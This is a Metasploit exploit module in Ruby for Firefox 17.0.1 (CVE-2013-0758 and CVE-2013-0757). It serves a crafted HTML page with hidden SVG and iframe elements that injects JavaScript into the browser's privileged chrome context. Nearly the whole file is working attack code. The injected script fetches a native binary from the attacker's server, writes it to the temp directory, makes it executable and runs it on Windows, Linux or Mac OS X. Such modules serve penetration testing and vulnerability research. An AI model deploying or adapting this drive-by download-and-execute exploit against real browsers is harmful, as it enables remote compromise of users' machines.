##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Firefox 17.0.1 Flash Privileged Code Injection',
			'Description'    => %q{
				This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
				the user has installed Flash. No memory corruption is used.

				First, a Flash object is cloned into the anonymous content of the SVG
				"use" element in the <body> (CVE-2013-0758). From there, the Flash object
				can navigate a child frame to a URL in the chrome:// scheme.

				Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
				around the child frame's window reference and inject code into the chrome://
				context. Once we have injection into the chrome execution context, we can write
				the payload to disk, chmod it (if posix), and then execute.

				Note: Flash is used here to trigger the exploit but any Firefox plugin
				with script access should be able to trigger it.
			},
			'License'        => MSF_LICENSE,
			'Targets'        =>
				[
					[ 'Automatic',
						{
							'Platform' => ['win', 'linux', 'osx'],
							'Arch'     => ARCH_X86
						}
					],
					[ 'Windows x86 (Native Payload)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86
						}
					],
					[ 'Linux x86 (Native Payload)',
						{
							'Platform' => 'linux',
							'Arch' => ARCH_X86
						}
					],
					[ 'Mac OS X x86 (Native Payload)',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
						}
					]
				],
			'DefaultTarget'  => 0,
			'Author'         =>
				[
					'Marius Mlynski', # discovery & bug report
					'joev',           # metasploit module
					'sinn3r'          # metasploit fu
				],
			'References'     =>
				[
					['CVE', '2013-0758'],  # navigate a frame to a chrome:// URL
					['CVE', '2013-0757'],  # bypass Chrome Object Wrapper to talk to chrome://
					['OSVDB', '89019'],  # maps to CVE 2013-0757
					['OSVDB', '89020'],  # maps to CVE 2013-0758
					['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
					['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
				],
			'DisclosureDate' => 'Jan 08 2013'
		))

		register_options(
			[
				OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
				OptBool.new('DEBUG', [false, "Display some alert()'s for debugging the payload.", false])
			], Auxiliary::Timed)

	end

	def on_request_uri(cli, request)
		my_target = get_target(request.headers['User-Agent'])
		if my_target.nil?
			print_error("User agent does not match an available payload type, bailing.")
			send_not_found(cli)
			return
		end

		target = my_target

		if request.uri =~ /\.swf$/
			# send Flash .swf for navigating the frame to chrome://
			print_status("Sending .swf trigger.")
			send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
		elsif request.uri =~ /\.bin/
			# send the binary payload to drop & exec
			print_status("Child frame navigated. Sending binary payload to drop & execute.")
			send_response(cli, dropped_file_contents(cli, target), { 'Content-Type' => 'application/octet-stream' })
		else
			# send initial HTML page
			print_status("Target selected: #{target.name}")
			print_status("Sending #{self.name}")
			send_response_html(cli, generate_html(target))
		end
		handler(cli)
	end

	# @return [String] the encoded executable for dropping onto the client's machine
	def dropped_file_contents(cli, target)
		return if ((p=regenerate_payload(cli)) == nil)
		opts = target.opts
		exe = ''

		case target.name
		when /windows/i
			opts = opts.merge({:code=>p.encoded})
			exe = generate_payload_exe(opts)
		when /linux/i
			exe = Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts)
		when /os x/i
			exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, opts)
		end

		return exe
	end

	# @return [Msf::Module::Target] that matches the client's user-agent header
	def get_target(agent)
		# Not firefox, bail
		if agent !~ /firefox/i
			return nil
		end

		# User wants to manually specify a target, respect that
		if target != targets[0]
			return target
		end

		# os detection
		if agent =~ /windows/i
			targets[1]
		elsif agent =~ /linux/i
			targets[2]
		elsif agent =~ /macintosh/i and agent =~ /intel/i
			targets[3]
		else
			nil
		end
	end

	# @return [String] the contents of the .swf file used to trigger the exploit
	def flash_trigger
		swf_path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0758.swf")
		@flash_trigger ||= File.read(swf_path)
	end

	# @return [String] the filename that will be used when the payload is dropped
	def payload_filename(target)
		if target.name =~ /Windows x86/i
			"#{Rex::Text.rand_text_alphanumeric(8)}.exe"
		else
			"#{Rex::Text.rand_text_alphanumeric(8)}.bin"
		end
	end

	# @return [String] containing javascript code to execute with chrome privileges
	def js_payload(target)
		%Q|
		#{js_debug("Injection successful. JS executing with chrome privileges.")}
		var x = new XMLHttpRequest;
		x.overrideMimeType('text/plain; charset=x-user-defined');
		x.open('POST', '#{base_url}.bin', false);
		x.send(null);
		#{js_debug("'Payload: '+x.responseText", "")}
		var file = Components.classes["@mozilla.org/file/directory_service;1"]
			.getService(Components.interfaces.nsIProperties)
			.get("TmpD", Components.interfaces.nsIFile);
		file.append('#{payload_filename(target)}');
		var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
			.createInstance(Components.interfaces.nsIFileOutputStream);
		stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
		stream.write(x.responseText, x.responseText.length);
		if (stream instanceof Components.interfaces.nsISafeOutputStream) {
			stream.finish();
		} else {
			stream.close();
		}
		#{chmod_code(target)}
		#{js_debug("'Downloaded to: '+file.path", "")}
		var process = Components.classes["@mozilla.org/process/util;1"]
			.createInstance(Components.interfaces.nsIProcess);
		process.init(file);
		process.run(false, [], 0);
		|
	end

	# @return [String] containing javascript that will alert a debug string
	#   if the DEBUG is set to true
	def js_debug(str, quote="'")
		if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end
	end

	# @return [String] containing javascript that will chmod the dropped executable
	def chmod_code(target)
		return '' if target.name == 'Windows x86 (Native Payload)'
		%Q|
			var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
			chmod.initWithPath("/bin/chmod");
			var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
			process.init(chmod);
			process.run(true, ["+x", file.path], 2);
		|
	end

	# @return [String] URL for sending requests back to the module
	def base_url
		proto = (datastore["SSL"] ? "https" : "http")
		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
		"#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}"
	end

	# @return [String] HTML that is sent in the first response to the client
	def generate_html(target)
		vars = {
			:symbol_id        => 'a',
			:random_domain    => 'safe',
			:payload          => js_payload(target),
			:payload_var      => 'c',
			:payload_key      => 'k',
			:payload_obj_var  => 'payload_obj',
			:interval_var     => 'itvl',
			:access_string    => 'access',
			:frame_ref        => 'frames[0]',
			:frame_name       => 'n',
			:loader_path      => "#{base_url}.swf",
			:content          => self.datastore['CONTENT'] || ''
		}
		%Q|
			<!doctype html>
			<html>
			<head>
				<base href="chrome://browser/content/">
			</head>
			<body>

			<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
				<symbol id="#{vars[:symbol_id]}">
					<foreignObject>
						<object></object>
					</foreignObject>
				</symbol>
				<use />
			</svg>

			<script>
			var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
			var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
			function $() {
				document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
			}
			function _() {
				return '#{vars[:frame_name]}';
			}
			var #{vars[:interval_var]} = setInterval(function(){
				try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
				catch(e){
					clearInterval(#{vars[:interval_var]});
					var p = Object.getPrototypeOf(#{vars[:frame_ref]});
					var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
					Object.prototype.__lookupSetter__("__proto__").call(p, o);
					p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
				}
			}, 100);
			document.querySelector('object').data = "#{vars[:loader_path]}";
			document.querySelector('use').setAttributeNS(
				"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
			);
			</script>

			<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
				name="#{vars[:frame_name]}"></iframe>
			#{vars[:content]}
			</body>
			</html>
			|
	end
end
